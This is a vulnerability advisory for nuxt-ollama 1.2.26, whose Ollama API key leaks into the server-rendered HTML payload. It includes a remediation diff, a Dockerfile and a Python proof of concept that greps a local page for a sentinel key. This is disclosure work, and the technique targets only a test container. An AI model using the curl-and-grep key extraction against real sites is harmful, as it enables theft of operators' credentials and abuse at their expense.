CVE-2026-59158: High severity npm/nuxt-ollama vulnerability

Published Sep 9, 2026
·
Updated

Public Runtime Config Exposes Ollama API Key to Browser Clients

Summary

nuxt-ollama@1.2.26 unconditionally merges all module options — including apikey — into Nuxt's public runtime config (runtimeConfig.public.ollama). Nuxt serializes runtimeConfig.public into the SSR HTML response inside a <script> payload block (window.NUXT), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense.

Details

The vulnerability is a design flaw in src/module.ts. During Nuxt module setup, the entire options object — which contains apikey when configured for cloud Ollama as documented in README.md:71-80 — is merged into the public runtime config namespace:

ts // src/module.ts:35-36 const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions runtimeConfig.public.ollama = defu(currentConfig, options)

Nuxt's SSR pipeline serializes runtimeConfig.public and embeds it in every server-rendered HTML page for client-side hydration. This results in the apikey appearing verbatim in the window.NUXT script block:

html <script> window.NUXT={}; window.NUXT.config={ public:{ ollama:{ protocol:"https", host:"api.ollama.com", port:"", proxy:false, apikey:"LEAKEDTESTKEY123" // ← secret exposed to browser } } } </script>

The browser-side composable (src/runtime/composables/useOllama.ts) then reads this value and sends it as an Authorization: Bearer header in client-side Ollama API calls:

ts // src/runtime/composables/useOllama.ts:6-10 const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions if (options.apikey) { headers.Authorization = Bearer ${options.apikey} } return new Ollama({ host, proxy: options.proxy, headers })

The complete data flow from source to sink:

1. README.md:71-80 — official documentation instructs users to set ollama.apikey for cloud Ollama models 2. src/module.ts:35-36 — source: apikey is merged into runtimeConfig.public.ollama 3. Nuxt SSR runtime — runtimeConfig.public is serialized into HTML NUXT payload 4. src/runtime/composables/useOllama.ts:6 — browser composable reads useRuntimeConfig().public.ollama 5. src/runtime/composables/useOllama.ts:8-10 — sink: options.apikey becomes headers.Authorization in client-side HTTP request

The apikey value is never private (i.e., placed in runtimeConfig.ollama) and no sanitization removes it from the public namespace before serialization.

Recommended remediation: Move apikey to the private runtime config and remove it from the browser composable:

diff - const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions - runtimeConfig.public.ollama = defu(currentConfig, options) + const { apikey, ...publicOptions } = options + const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'apikey'> + runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions) + const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'apikey'> + runtimeConfig.ollama = defu(currentPrivateConfig, { apikey })

The apikey should then only be consumed in the server-side utility (src/runtime/server/utils/useOllama.ts) via useRuntimeConfig().ollama.apikey.

PoC

Prerequisites: Docker, Python 3

Step 1 — Build the vulnerable Nuxt app container

bash docker build \ -f /path/to/vuln-001/Dockerfile \ -t nuxt-ollama-vuln-001 \ /path/to/npmAI735thoda-devnuxt-ollama

The Dockerfile uses the nuxt-ollama source at commit 6989ea8 and injects the following playground/nuxt.config.ts — the exact cloud configuration pattern from README.md:71-80:

ts export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', apikey: 'LEAKEDTESTKEY123' // sentinel key } })

Step 2 — Start the container

bash docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001

Step 3 — Retrieve the API key with a single unauthenticated HTTP request

bash curl -s http://127.0.0.1:3000/ | grep -o 'apikey":"[^"]"' Expected: apikey":"LEAKEDTESTKEY123"

Automated PoC script

bash python3 /path/to/vuln-001/poc.py

Expected output (confirmed in dynamic reproduction):

window.NUXT.config={ public:{ ollama:{ protocol:"https", host:"api.ollama.com", port:"", proxy:false, apikey:"LEAKEDTESTKEY123" } } }

The sentinel key LEAKEDTESTKEY123 appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.

Impact

This is a credentials exposure vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using nuxt-ollama with a cloud apikey configured can extract the API key from the NUXT script payload.

Who is impacted:

- Operators/developers who follow the official documentation to configure ollama.apikey for cloud Ollama models. They are unaware that the key is being published to every visitor. - End-users of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.

Potential consequences of key theft:

- Unauthorized use of the Ollama cloud API at the operator's cost - Rate-limit exhaustion or quota abuse - Data exfiltration if the compromised key has read access to stored models or conversations - Reputational damage and service disruption for the affected application

The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.

Reproduction artifacts

Dockerfile

dockerfile syntax=docker/dockerfile:1 VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key CWE-522: Insufficiently Protected Credentials CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High) Vulnerability mechanism: src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, options) This places apikey into Nuxt's PUBLIC runtime config, which Nuxt serializes into the SSR HTML response (NUXT / NUXTDATA payload). Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.

FROM node:20-alpine

Install pnpm matching the repo's packageManager field (pnpm@10.33.4) RUN npm install -g pnpm@10.33.4

WORKDIR /app

Copy the nuxt-ollama source repository COPY repo/ ./

Install all project dependencies. .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false RUN pnpm install --frozen-lockfile

Override playground/nuxt.config.ts: inject a sentinel apikey to simulate a real-world cloud Ollama deployment as documented in README.md:71-80. This is the exact vulnerable configuration pattern described in the docs. RUN cat > playground/nuxt.config.ts << 'EOF' export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', apikey: 'LEAKEDTESTKEY123' } }) EOF

Replace app.vue with a minimal template that does NOT make Ollama API calls. The apikey leak occurs in the Nuxt SSR payload, not in the visible template. The original playground app.vue calls useFetch('/api/ollama') which requires a live Ollama server; replacing it keeps this PoC self-contained. RUN cat > playground/app.vue << 'EOF' <template> <div>nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for apikey</div> </template> EOF

Build the playground in production SSR mode. During the module setup() call, src/module.ts:36 merges all options (including apikey) into runtimeConfig.public.ollama. At request time, Nuxt serializes runtimeConfig.public into the HTML response for client-side hydration. RUN pnpm exec nuxi build playground

EXPOSE 3000 ENV HOST=0.0.0.0 ENV PORT=3000 ENV NITROHOST=0.0.0.0 ENV NITROPORT=3000

CMD ["node", "/app/playground/.output/server/index.mjs"]

poc.py

python #!/usr/bin/env python3 """ VULN-001 Proof of Concept Package : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8) Title : Public Runtime Config Exposes Ollama API Key to Browser Clients CWE : CWE-522 - Insufficiently Protected Credentials CVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack summary -------------- When a Nuxt app installs nuxt-ollama and sets ollama.apikey (per README.md:71-80 for cloud Ollama), the module's setup() function in src/module.ts:36 merges the entire options object—apikey included—into runtimeConfig.public.ollama.

Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and embeds it in the HTML response inside a <script> payload block (NUXT / NUXTDATA). Any unauthenticated HTTP GET request to the home page therefore returns the apikey in plain text, with no authentication required.

This script: 1. Builds a Docker image from the nuxt-ollama source with a sentinel apikey. 2. Starts the image as a local container. 3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key. 4. Prints an evidence excerpt and writes phase2result.json. """

import json import os import subprocess import sys import time import urllib.request

--------------------------------------------------------------------------- Configuration --------------------------------------------------------------------------- TARGETKEY = "LEAKEDTESTKEY123" IMAGENAME = "nuxt-ollama-vuln-001" CONTAINERNAME = "nuxt-ollama-poc-001" HOST = "127.0.0.1" PORT = 3000 URL = f"http://{HOST}:{PORT}/"

SCRIPTDIR = os.path.dirname(os.path.abspath(file)) PARENTDIR = os.path.dirname(SCRIPTDIR) # build context (contains repo/) DOCKERFILE = os.path.join(SCRIPTDIR, "Dockerfile") RESULTFILE = os.path.join(SCRIPTDIR, "phase2result.json")

BUILDCMD = f"docker build -f {DOCKERFILE} -t {IMAGENAME} {PARENTDIR}" RUNCMD = ( f"docker run -d --name {CONTAINERNAME} " f"-p {PORT}:{PORT} {IMAGENAME}" ) POCCMD = f"python3 {os.path.join(SCRIPTDIR, 'poc.py')}"

--------------------------------------------------------------------------- Helpers ---------------------------------------------------------------------------

def runcmd(cmdlist, check=True, capture=False): """Execute a command, printing it first; return CompletedProcess.""" print(f"[cmd] {' '.join(cmdlist)}", flush=True) return subprocess.run( cmdlist, check=check, captureoutput=capture, text=bool(capture), )

def cleanupcontainer(): """Remove the PoC container if it already exists.""" subprocess.run(["docker", "rm", "-f", CONTAINERNAME], captureoutput=True)

def waitforserver(url, timeout=180, interval=5): """Poll url until it returns a non-5xx response or the timeout expires.""" print(f"[] Waiting for server at {url} (timeout={timeout}s)", flush=True) deadline = time.time() + timeout while time.time() < deadline: try: with urllib.request.urlopen(url, timeout=5) as resp: if resp.status < 500: print(f"[+] Server up — HTTP {resp.status}", flush=True) return True except Exception: pass time.sleep(interval) return False

def saveresult(data): """Write phase2result.json and echo its path.""" with open(RESULTFILE, "w", encoding="utf-8") as fh: json.dump(data, fh, ensureascii=False, indent=2) print(f"\n[] Result saved to {RESULTFILE}", flush=True)

--------------------------------------------------------------------------- Main ---------------------------------------------------------------------------

def main(): print("=" 66) print("VULN-001 PoC — nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload") print("=" 66, flush=True)

cleanupcontainer()

# ------------------------------------------------------------------ # Step 1 — Build Docker image # ------------------------------------------------------------------ print("\n[STEP 1] Building Docker image (may take several minutes) ...", flush=True) buildrc = runcmd( ["docker", "build", "-f", DOCKERFILE, "-t", IMAGENAME, PARENTDIR], check=False, ).returncode

if buildrc != 0: saveresult({ "passed": False, "verdict": "FAIL", "reason": "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.", "buildcommand": BUILDCMD, "runcommand": RUNCMD, "poccommand": POCCMD, "evidence": f"docker build exited with returncode={buildrc}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1)

print("[+] Image built successfully.", flush=True)

# ------------------------------------------------------------------ # Step 2 — Start the container # ------------------------------------------------------------------ print("\n[STEP 2] Starting container ...", flush=True) runrc = runcmd( ["docker", "run", "-d", "--name", CONTAINERNAME, "-p", f"{PORT}:{PORT}", IMAGENAME], check=False, ).returncode

if runrc != 0: saveresult({ "passed": False, "verdict": "FAIL", "reason": "Docker 컨테이너 실행 실패.", "buildcommand": BUILDCMD, "runcommand": RUNCMD, "poccommand": POCCMD, "evidence": f"docker run exited with returncode={runrc}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1)

# ------------------------------------------------------------------ # Step 3 — Wait for Nuxt SSR server # ------------------------------------------------------------------ print("\n[STEP 3] Waiting for Nuxt SSR server ...", flush=True) if not waitforserver(URL, timeout=180): logs = subprocess.run( ["docker", "logs", CONTAINERNAME], captureoutput=True, text=True, ) logsnippet = (logs.stdout + logs.stderr)[-2000:] print("[!] Server did not respond within timeout. Container logs:\n", logsnippet) saveresult({ "passed": False, "verdict": "INCOMPLETE", "reason": "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.", "buildcommand": BUILDCMD, "runcommand": RUNCMD, "poccommand": POCCMD, "evidence": logsnippet, "artifacts": ["Dockerfile", "poc.py"], }) cleanupcontainer() sys.exit(1)

# ------------------------------------------------------------------ # Step 4 — Fetch the rendered HTML page # ------------------------------------------------------------------ print(f"\n[STEP 4] GET {URL} ...", flush=True) try: with urllib.request.urlopen(URL, timeout=15) as resp: html = resp.read().decode("utf-8", errors="replace") except Exception as exc: saveresult({ "passed": False, "verdict": "FAIL", "reason": f"HTTP 요청 실패: {exc}", "buildcommand": BUILDCMD, "runcommand": RUNCMD, "poccommand": POCCMD, "evidence": str(exc), "artifacts": ["Dockerfile", "poc.py"], }) cleanupcontainer() sys.exit(1)

print(f"[+] Received {len(html)} bytes.", flush=True)

# ------------------------------------------------------------------ # Step 5 — Verify TARGETKEY is present in the HTTP response body # ------------------------------------------------------------------ print(f"\n[STEP 5] Searching for '{TARGETKEY}' in response ...", flush=True)

if TARGETKEY in html: idx = html.index(TARGETKEY) start = max(0, idx - 200) end = min(len(html), idx + len(TARGETKEY) + 200) excerpt = html[start:end].strip()

print(f"\n{'='66}") print(f"[PASS] VULNERABILITY CONFIRMED") print(f"'{TARGETKEY}' is present in the unauthenticated HTTP response.") print(f"{'='66}") print(f"Evidence excerpt:\n\n{excerpt}\n") print(f"{'='66}")

saveresult({ "passed": True, "verdict": "PASS", "reason": ( "nuxt-ollama@1.2.26의 src/module.ts:36에서 apikey를 " "runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 " "NUXT 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 " "LEAKEDTESTKEY123이 응답 본문에서 노출됨이 실제 실행으로 확인됨." ), "buildcommand": BUILDCMD, "runcommand": RUNCMD, "poccommand": POCCMD, "evidence": excerpt, "artifacts": ["Dockerfile", "poc.py"], }) cleanupcontainer() sys.exit(0)

else: snippet = html[:3000] print(f"[FAIL] '{TARGETKEY}' NOT found in the HTTP response body.") print("--- HTML (first 3000 chars) ---") print(snippet)

saveresult({ "passed": False, "verdict": "FAIL", "reason": ( f"'{TARGETKEY}'가 HTTP 응답 본문에서 발견되지 않음. " "Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음." ), "buildcommand": BUILDCMD, "runcommand": RUNCMD, "poccommand": POCCMD, "evidence": snippet[:1500], "artifacts": ["Dockerfile", "poc.py"], }) cleanupcontainer() sys.exit(1)

if name == "main": main()

Affected Software

1 affected componentFixes available
npm/nuxt-ollama>=1.2.26<1.3.1
1.3.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/nuxt-ollama to a version that resolves this vulnerability.

    Fixed in 1.3.1

Event History

Sep 9, 2026
Advisory Published
via GitHub·11:47 PM
Data Sourced
via GitHub·11:47 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Deployments using nuxt-ollama@1.2.26 with an Ollama cloud api_key configured are exposed through server-rendered Nuxt pages. The key is placed in the public runtime configuration and included in the SSR response.

2

Does exploitation require an account or user interaction?

No. An unauthenticated remote client can retrieve a server-rendered page with a single HTTP GET request and obtain the API key from the serialized window.__NUXT__ payload.

3

How can I check whether a key has already been exposed?

Fetch a server-rendered page as an unauthenticated client and inspect the HTML for the window.__NUXT__ runtime-config payload. If runtimeConfig.public.ollama contains api_key, the key is exposed in plaintext to page visitors.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203